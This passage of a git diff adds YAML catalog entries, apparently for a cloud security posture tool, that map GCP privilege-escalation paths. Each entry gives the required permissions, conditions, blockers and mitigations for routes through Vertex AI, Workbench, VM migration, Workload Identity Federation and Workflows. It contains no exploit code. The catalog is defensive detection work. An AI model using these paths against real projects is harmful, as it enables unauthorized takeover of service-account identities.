service + account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#deploy-an-attacker-controlled-model-to-an-endpoint-as-a-target-service-account + source_revision: 6fb9ac51fd + summary: The source can upload a controlled custom-container model and deploy it to a new endpoint under a service account it can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_vertex_new_model_endpoint_path: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: controlled_model + description: The selector checks aiplatform.models.upload to create a model with a chosen custom container. An existing controlled model remains unresolved without model inventory. + - id: endpoint + description: The selector checks aiplatform.endpoints.create and project-level deploy rights. An existing endpoint with narrower deploy rights remains unresolved without endpoint inventory. + - id: service_agent_delegation + description: The selector checks that the project's Vertex AI Service Agent has an unconditional roles/iam.serviceAccountAdmin grant on the target SA or an ancestor. + - id: container_contract + description: Custom containers must pass Vertex health/prediction checks for the + deployment to stay up. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* + role contains actAs but roles/editor contains both. + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/machine-learning/general/custom-service-account + +- id: gcp-vertex-reasoningengines-create-actas + provider: gcp + service: aiplatform + title: Deploy an Agent Engine (reasoning engine) running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformreasoningenginescreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.reasoningEngines.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + - id: identity_type + description: The spec must use service-account identity, not identityType AGENT_IDENTITY; a custom build spec SA is a build identity, not the runtime identity. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-notebookexecutionjobs-create-actas + provider: gcp + service: aiplatform + title: Create a Colab Enterprise notebook execution job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformnotebookexecutionjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can submit a notebook execution job with controlled inline notebook content and run it as a service account it can act as. + requires: + all_of: + - action: aiplatform.notebookExecutionJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: execution_environment + description: The job can specify customEnvironmentSpec instead of an existing notebook runtime template, and directNotebookSource can carry the notebook content. A usable output destination and compute capacity are still needed. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/reference/rest/v1/projects.locations.notebookExecutionJobs + +- id: gcp-vertex-workbench-instances-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI Workbench instance attached to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#create-a-workbench-instance-with-a-target-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: notebooks.instances.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + notes: Covers the Workbench Instances notes on this anchor; the legacy managed/user-managed notebook paths are obsolete. +- id: gcp-vertex-customjob-custom-code-agent + provider: gcp + service: aiplatform + title: Run a Vertex AI job with no service account so it runs as the Custom Code Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#omit-serviceaccount-to-run-custom-training-as-the-custom-code-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the Vertex AI Custom Code Service Agent of every project where it can create custom jobs, hyperparameter tuning jobs or custom training pipelines. + requires: + any_of: + - - action: aiplatform.customJobs.create + resource: '*' + - - action: aiplatform.hyperparameterTuningJobs.create + resource: '*' + - - action: aiplatform.trainingPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: vertex_custom_code_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Vertex AI Custom Code Service Agent of {project} + conditions: + - id: agent_roles + description: Power equals the agent's current bindings (roles/aiplatform.customCodeServiceAgent by default, which HackTricks reports as including token minting for project SAs and broad storage/BigQuery access). + - id: agent_node + description: The selector resolves the project-number service agent and confirms its expected project IAM role binding; a missing binding remains unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + references: + - https://docs.cloud.google.com/vertex-ai/docs/general/custom-service-account + confidence: conditional + severity: critical + mitigation: Review the bindings of service-@gcp-sa-aiplatform-cc and restrict aiplatform.customJobs.create / pipelineJobs.create (roles/aiplatform.user). + notes: No actAs is checked when no service account is pinned (Google documents the Custom Code Service Agent as the default identity of CustomJob, HyperparameterTuningJob and custom TrainingPipeline training containers). PipelineJobs are not documented to default to this agent. +- id: gcp-vertex-workbench-instance-update-or-setiampolicy + provider: gcp + service: notebooks + title: Take over an existing Workbench instance through update/reset or an instance IAM self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#notebooksinstancesupdate--notebooksinstancesreset-on-an-existing-workbench-instance + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to existing Workbench instances it can update and reset or whose IAM policy it controls. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: notebooks_instance + gcp_workbench_existing_takeover_path: true + scope: same_project + aggregate_as: SAs of Workbench instances the source can take over + conditions: + - id: followup_access + description: The selector joins update and reset on the same active instance, update and start on a stopped instance, or an instance policy self-grant to obtain those rights. The metadata startup script runs on boot. + - id: instance_owners + description: JupyterLab access is separate from the instance role and is not required for the metadata boot path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict notebooks.instances.update/reset/setIamPolicy (roles/notebooks.admin, roles/editor) on instances with privileged SAs and set instance-owners explicitly. + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/notebooks/workbench/reference/rest/v2/projects.locations.instances/patch + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/notebooks/workbench/instances/manage-metadata +- id: gcp-vertex-reasoningengines-create-default-agent + provider: gcp + service: aiplatform + title: Deploy an Agent Engine with no service account so it runs as the Reasoning Engine Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#omit-agent-engine-specserviceaccount-to-run-as-the-reasoning-engine-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the AI Platform Reasoning Engine Service Agent of every project where it can create reasoning engines. + requires: + all_of: + - action: aiplatform.reasoningEngines.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: vertex_reasoning_engine_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Reasoning Engine Service Agent of {project} + conditions: + - id: identity_selection + description: spec.serviceAccount must be omitted and identityType AGENT_IDENTITY not selected. + - id: agent_roles + description: The selector confirms the expected project IAM role binding. Power equals roles/aiplatform.reasoningEngineServiceAgent (project-scoped Cloud Storage object get/list among others) plus any extra bindings on service-@gcp-sa-aiplatform-re. + - id: staging_build + description: The staging/build permissions needed to deploy attacker-controlled agent code are also required. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Review bindings of the Reasoning Engine Service Agent and restrict aiplatform.reasoningEngines.create (roles/aiplatform.user). + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/scale/runtime/manage-agent-access + notes: No actAs is checked for the default identity. This is not arbitrary service-account impersonation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml new file mode 100644 index 0000000000..c06c5f55c1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml @@ -0,0 +1,45 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Migrate to Virtual Machines privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-vm-migration-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: vmmigration_target_default -> the runtime service account already selected in a MigratingVm's +# computeEngineTargetDefaults ({target.host_resource} is that MigratingVm). +- id: gcp-vmmigration-migratingvm-metadata-clone + provider: gcp + service: vmmigration + title: Add startup metadata to a migrating VM and clone it with its configured runtime service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#vmmigrationmigratingvmsupdate--vmmigrationclonejobscreate--execute-startup-metadata-as-the-target-vm-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the runtime service account already configured in the target defaults of every MigratingVm it can update and clone. + requires: + all_of: + - action: vmmigration.migratingVms.update + resource: '{target.host_resource}' + - action: vmmigration.cloneJobs.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: vmmigration_target_default + gcp_vmmigration_metadata_clone_path: true + scope: any + aggregate_as: Runtime SAs configured on MigratingVms the source can update and clone + conditions: + - id: existing_sa_default + description: The same existing MigratingVm must select the runtime service account in its target defaults and permit both the update and clone actions. + - id: service_agent_trust + description: The host-project Migrate to Virtual Machines service agent needs roles/vmmigration.serviceAgent on the target project and Service Account User on the runtime SA. + - id: guest_startup + description: The cloned guest must run the startup script (working guest environment) and have an exfiltration path; the token is limited by the VM's access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict vmmigration.migratingVms.update and cloneJobs/cutoverJobs.create (roles/vmmigration.admin) and avoid attaching privileged runtime SAs to migration target defaults. + references: + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/get-started/target-sa-compute-engine + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/reference/rest/v1/projects.locations.sources.migratingVms.cloneJobs/create + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/reference/roles-reference + notes: The caller needs no actAs; the service agent performs the attachment. Does not yield the service agent's own identity. A cut-over job delivers the same metadata. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml new file mode 100644 index 0000000000..9612f996a1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml @@ -0,0 +1,59 @@ +# The Google Cloud permission only reads generated VMware credentials. A path +# exists only when complete reviewed evidence proves the exact appliance user, +# usable credential, and a new effective permission after authentication. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-vmwareengine-show-vcenter-credentials-external-principal + provider: gcp + service: vmwareengine + title: Reach the named vCenter CloudOwner principal through a usable generated credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmwareengineprivatecloudsshowvcentercredentials--shownsxcredentials--cross-into-the-vmware-management-plane + source_revision: f0f683242a + summary: Reading the generated vCenter credential may reach the exact CloudOwner principal on one private cloud if a reviewed login and newly allowed vCenter action prove the credential is current. + requires: + all_of: + - action: vmwareengine.privateClouds.showVcenterCredentials + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: vmware_vcenter + scope: same_project + outcome: credentials + aggregate_as: Exact vCenter CloudOwner principal with reviewed new access + conditions: + - id: exact_usable_vcenter_credential + description: A unique complete reviewed record must bind the exact private cloud, generated CloudOwner subject, usable current credential, prior source denial, and successful new vCenter authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict generated vCenter credential reads and rotate stale credentials. + notes: The gcp_external_principal_evidence record must name TargetPlane vmware_vcenter and bind ActionResource to the exact private cloud, TargetServiceResource to its vCenter, and ObservedPrincipalId to the named CloudOwner. A show response or password string alone is insufficient. + +- id: gcp-vmwareengine-show-nsx-credentials-external-principal + provider: gcp + service: vmwareengine + title: Reach the named NSX admin principal through a usable generated credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmwareengineprivatecloudsshowvcentercredentials--shownsxcredentials--cross-into-the-vmware-management-plane + source_revision: f0f683242a + summary: Reading the generated NSX credential may reach the exact NSX admin principal on one private cloud if a reviewed login and newly allowed NSX action prove the credential is current. + requires: + all_of: + - action: vmwareengine.privateClouds.showNsxCredentials + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: vmware_nsx + scope: same_project + outcome: credentials + aggregate_as: Exact NSX admin principal with reviewed new access + conditions: + - id: exact_usable_nsx_credential + description: A unique complete reviewed record must bind the exact private cloud, generated NSX subject, usable current credential, prior source denial, and successful new NSX authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict generated NSX credential reads and rotate stale credentials. + notes: The gcp_external_principal_evidence record must name TargetPlane vmware_nsx and bind ActionResource to the exact private cloud, TargetServiceResource to its NSX, and ObservedPrincipalId to the named admin. A show response or password string alone is insufficient. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml new file mode 100644 index 0000000000..cd0eb499c4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml @@ -0,0 +1,136 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Workload Identity Federation privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Provider creation and update each join exact active resources, pool-wide service-account +# token bindings, and source permissions on the matching pool or provider. +# Restore paths still require separate provider-state and trust joins. Direct grants to federated principals +# need a distinct target kind. +- id: gcp-wif-provider-create + provider: gcp + service: iam + title: Add a provider trusting attacker-controlled credentials to a pool with broad bindings + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolproviderscreate--add-trust-to-an-already-authorized-pool + source_revision: 171e422 + summary: The source can create a provider in an active pool whose all-identities principalSet is already allowed to impersonate a named service account. + requires: + all_of: + - action: iam.googleapis.com/workloadIdentityPoolProviders.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_wif_active_path: create + scope: any + aggregate_as: Service accounts impersonable through controllable active WIF pools + conditions: + - id: pool_wide_binding + description: The pool has an all-identities principalSet binding that grants token access to the target service account. + - id: pool_active + description: The pool must be enabled. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workloadIdentityPoolProviders.create, avoid pool-wide service account bindings, and restrict allowed providers by org policy. +- id: gcp-wif-provider-update + provider: gcp + service: iam + title: Change an existing provider's trust configuration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolprovidersupdate--take-over-an-authorized-provider + source_revision: 171e422 + summary: The source can update an existing provider in an active pool whose all-identities principalSet can impersonate a named service account. + requires: + all_of: + - action: iam.googleapis.com/workloadIdentityPoolProviders.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_wif_active_path: update + scope: any + aggregate_as: Service accounts impersonable through updatable WIF providers + conditions: + - id: matching_binding + description: The active pool must have an all-identities binding that grants service-account token access; the updated provider must admit credentials controlled by the source. + - id: provider_enabled + description: The pool must be enabled. A disabled but active provider can be enabled through the same update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workloadIdentityPoolProviders.update and alert on provider metadata/issuer changes. + notes: SAML metadata updates must keep one current certificate, which does not prevent adding another. An OIDC oidc.jwksJson upload replaces discovery-fetched keys while keeping the issuer URI. +- id: gcp-wif-pool-provider-restore + provider: gcp + service: iam + title: Re-enable or undelete a pool or provider that still trusts attacker-controlled credentials + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#poolprovider-update--undelete--restore-a-residual-trust-path + source_revision: 171e422 + summary: The source can restore an exact disabled pool, deleted pool or deleted provider that retains a pool-wide service-account token binding. + requires: + any_of: + - - action: iam.googleapis.com/workloadIdentityPoolProviders.undelete + resource: '*' + - - action: iam.googleapis.com/workloadIdentityPools.update + resource: '*' + - - action: iam.googleapis.com/workloadIdentityPools.undelete + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_wif_restorable_path: true + scope: any + aggregate_as: Service accounts bound to restorable WIF pools or providers + conditions: + - id: residual_trust + description: The exact restored provider must accept credentials controlled by the source, and its pool-wide service-account binding must remain. + - id: retention + description: Deleted pools/providers are restorable for approximately 30 days; provider restore needs an active pool, while pool undelete restores its providers. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Remove IAM bindings of decommissioned pools before deleting them and restrict pool/provider update and undelete. + notes: Also covers pools.update (re-enable) and pools.undelete. Provider re-enable through workloadIdentityPoolProviders.update is modelled by gcp-wif-provider-update. Disabling a provider blocks only new exchanges; disabling a pool also blocks use of issued tokens. +- id: gcp-wif-workforce-provider-control + provider: gcp + service: iam + title: Create, change or restore a workforce pool provider to admit an attacker-controlled external user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workforce-provider-control-and-trust-restoration--hijack-an-authorized-pool + source_revision: 171e422 + summary: The source can control an exact workforce pool or provider whose pool-wide principalSet can impersonate a service account in the same organization. + requires: + any_of: + - - action: iam.googleapis.com/workforcePoolProviders.create + resource: '*' + - - action: iam.googleapis.com/workforcePoolProviders.update + resource: '*' + - - action: iam.googleapis.com/workforcePoolProviders.undelete + resource: '*' + - - action: iam.googleapis.com/workforcePools.update + resource: '*' + - - action: iam.googleapis.com/workforcePools.undelete + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_workforce_control_path: true + scope: any + aggregate_as: Service accounts bound to controllable workforce pools + conditions: + - id: matching_binding + description: An existing all-identities workforce principalSet binding must grant token access to the named service account; the provider must admit credentials controlled by the source. + - id: residual_trust + description: Pool/provider restore only helps while attacker-usable trust and a matching binding remain, within the recovery window. + - id: programmatic_only_jwks + description: A locally uploaded OIDC JWKS works only for programmatic STS exchange, not federated console sign-in. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workforce pool/provider administration (roles/iam.workforcePoolAdmin, roles/iam.workforcePoolEditor) at the organization and avoid pool-wide bindings. + references: + - https://cloud.google.com/iam/docs/manage-workforce-identity-pools-providers + - https://cloud.google.com/iam/docs/workforce-identity-federation + notes: Workforce pools are organization-scoped and their principals often receive roles directly; those direct grants need a separate federated-principal target. This rule joins only pool-wide token grants to inventoried service accounts in the same organization. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml new file mode 100644 index 0000000000..9322dc4272 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml @@ -0,0 +1,172 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Workflows privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-workflows-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Workflow connector/OAuth steps act as the attached SA (no raw token extraction). actAs is checked at deploy/create/update, +# not at execute. Workflows has no resource-level IAM. +- id: gcp-workflows-create-actas-execute + provider: gcp + service: workflows + title: Deploy and execute a workflow running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account + source_revision: 171e422 + summary: The source can run workflow connector and OAuth steps against Google APIs as a service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.create + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as workflow identity in {project}" + conditions: + - id: api_level + description: The SA is usable only through connector and OAuth steps to Google APIs (no metadata token); that covers all of its IAM permissions. + - id: cross_project_sa + description: Cross-project service-account attachment has separate policy and service-agent requirements, modelled by gcp-workflows-create-cross-project-actas. + - id: default_sa + description: Omitting serviceAccount attaches the project's Compute Engine default SA, which still requires actAs on that SA (no bypass). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/workflows.admin/editor do not include actAs. + references: + - https://cloud.google.com/workflows/docs/authentication + +- id: gcp-workflows-create-cross-project-actas + provider: gcp + service: workflows + title: Deploy and execute a workflow with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account + source_revision: 171e422 + summary: The source may run workflow connector and OAuth steps as a service account from another project when its project allows cross-project attachment and the Workflows service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.create + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_workflows: true + scope: any + aggregate_as: "Service accounts usable by workflows in another project" + conditions: + - id: cross_project_service_agent + description: The workflow project's Workflows service agent needs Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: api_level + description: The workflow can make selected OAuth-authenticated Google API calls as the service account; it does not return a raw account token to the source. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Keep cross-project attachment and service-agent token grants limited to intended workflow projects and service accounts. + references: + - https://cloud.google.com/workflows/docs/authentication + +- id: gcp-workflows-update-actas + provider: gcp + service: workflows + title: Update an existing workflow's definition and service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 171e422 + summary: The source can update an existing workflow to run connector and OAuth steps against Google APIs as a service account on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.update + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_workflows_update_attach_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing workflows in {project}" + conditions: + - id: existing_workflow + description: Needs an existing workflow; explicitly changing the stored serviceAccount is a new attachment and requires actAs on the replacement SA. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict workflows.workflows.update and actAs grants. +- id: gcp-workflows-update-source-retain-sa + provider: gcp + service: workflows + title: Replace a workflow's source while keeping its attached service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 171e422 + summary: The source can replace an existing workflow's source and run connector and OAuth steps against Google APIs as its attached service account. + requires: + all_of: + - action: workflows.workflows.update + resource: '{target.host_resource}' + - action: workflows.executions.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + gcp_workflows_update_execute_same_workflow: true + scope: any + aggregate_as: SAs attached to workflows whose source the source can replace + conditions: + - id: source_only_update + description: Only a source-only update keeps the identity; changing or restating the SA requires actAs. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Treat workflows.workflows.update on a workflow as equivalent to use of its SA; restrict roles/workflows.editor/admin. + notes: The retained SA can belong to another project when the workflow was configured for cross-project execution (scope any). +- id: gcp-workflows-update-source-await-execution + provider: gcp + service: workflows + title: Replace a workflow's source and let an existing trigger execute it as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account attached to every workflow on which it holds workflows.workflows.update, when another principal or trigger starts the replaced revision. + requires: + all_of: + - action: workflows.workflows.update + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + gcp_workflows_observed_external_execution: true + scope: any + aggregate_as: SAs attached to triggered workflows whose source the source can replace + conditions: + - id: external_execution + description: A recorded enabled Scheduler job, its OAuth service account with permission to invoke this workflow, and the Scheduler service agent role support the path. Other possible triggers remain unresolved; already-running executions keep the old revision. + - id: source_only_update + description: Only a source-only update keeps the identity; changing or restating the SA requires actAs. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Treat workflows.workflows.update as equivalent to use of the workflow SA; restrict roles/workflows.editor/admin. + notes: HackTricks states that if another principal starts the new revision the attacker needs only the update permission. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml new file mode 100644 index 0000000000..aeb9630f57 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml @@ -0,0 +1,110 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP to Google Workspace pivots and Application Integration / Agent Identity identity edges. +# Source: hacktricks-cloud gcp-to-workspace-pivoting/*.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. New attached_to_service values (Workspace facts, +# not collected; see SCHEMA_EXTENSIONS.md ## GCP): workspace_dwd_delegation, workspace_super_admin_of_zone_domain, +# workspace_addon_user, agentidentity_authorized_user. pivot_resource_type values: gcp_dwd_service_account (SA whose client ID +# has a Workspace DWD grant), dns_managed_zone, agentidentity_auth_provider. + +- provider: gcp + source_revision: 4e9b5eaaa6 + id: gcp-appintegration-runas-sa-actas + service: integrations + title: Publish an Application Integration version with a chosen run-as service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-application-integration-privesc.md#runasserviceaccount--author--publish-an-integration-that-runs-as-an-arbitrary-sa + summary: The source can test a caller-supplied integration draft or author and publish an integration that runs an authenticated task as a service account it may act as. + requires: + all_of: + - any_of: + - - action: integrations.integrationVersions.create + resource: '*' + - - action: integrations.integrations.invoke + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_appintegration_run_as_path: true + scope: same_project + aggregate_as: Service accounts usable as Application Integration run-as SA in {project} + conditions: + - id: task_level + description: An authored Connector, REST caller or Cloud Function task can use a token from the chosen run-as account when no auth config overrides it. + - id: invocation + description: Draft testing needs invoke on the same integration; publishing and direct execution also need create and deploy on that integration and invoke on it. Scheduled or event-triggered execution without caller invoke remains unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated integration SAs; roles/editor and roles/owner contain both halves. + references: + - https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.integrations/test + - https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.integrations.versions/publish + - https://docs.cloud.google.com/application-integration/docs/prepare-for-authorization-changes + notes: The tested draft and published version paths require a collected enabled service and an observed integration in the same project and region. Other regions, new integration creation, and unattended trigger execution remain unresolved if not evidenced. +- provider: gcp + source_revision: 47bb6e8f32 + id: gcp-agentidentity-retrieve-credentials + service: agentidentity + title: Retrieve an 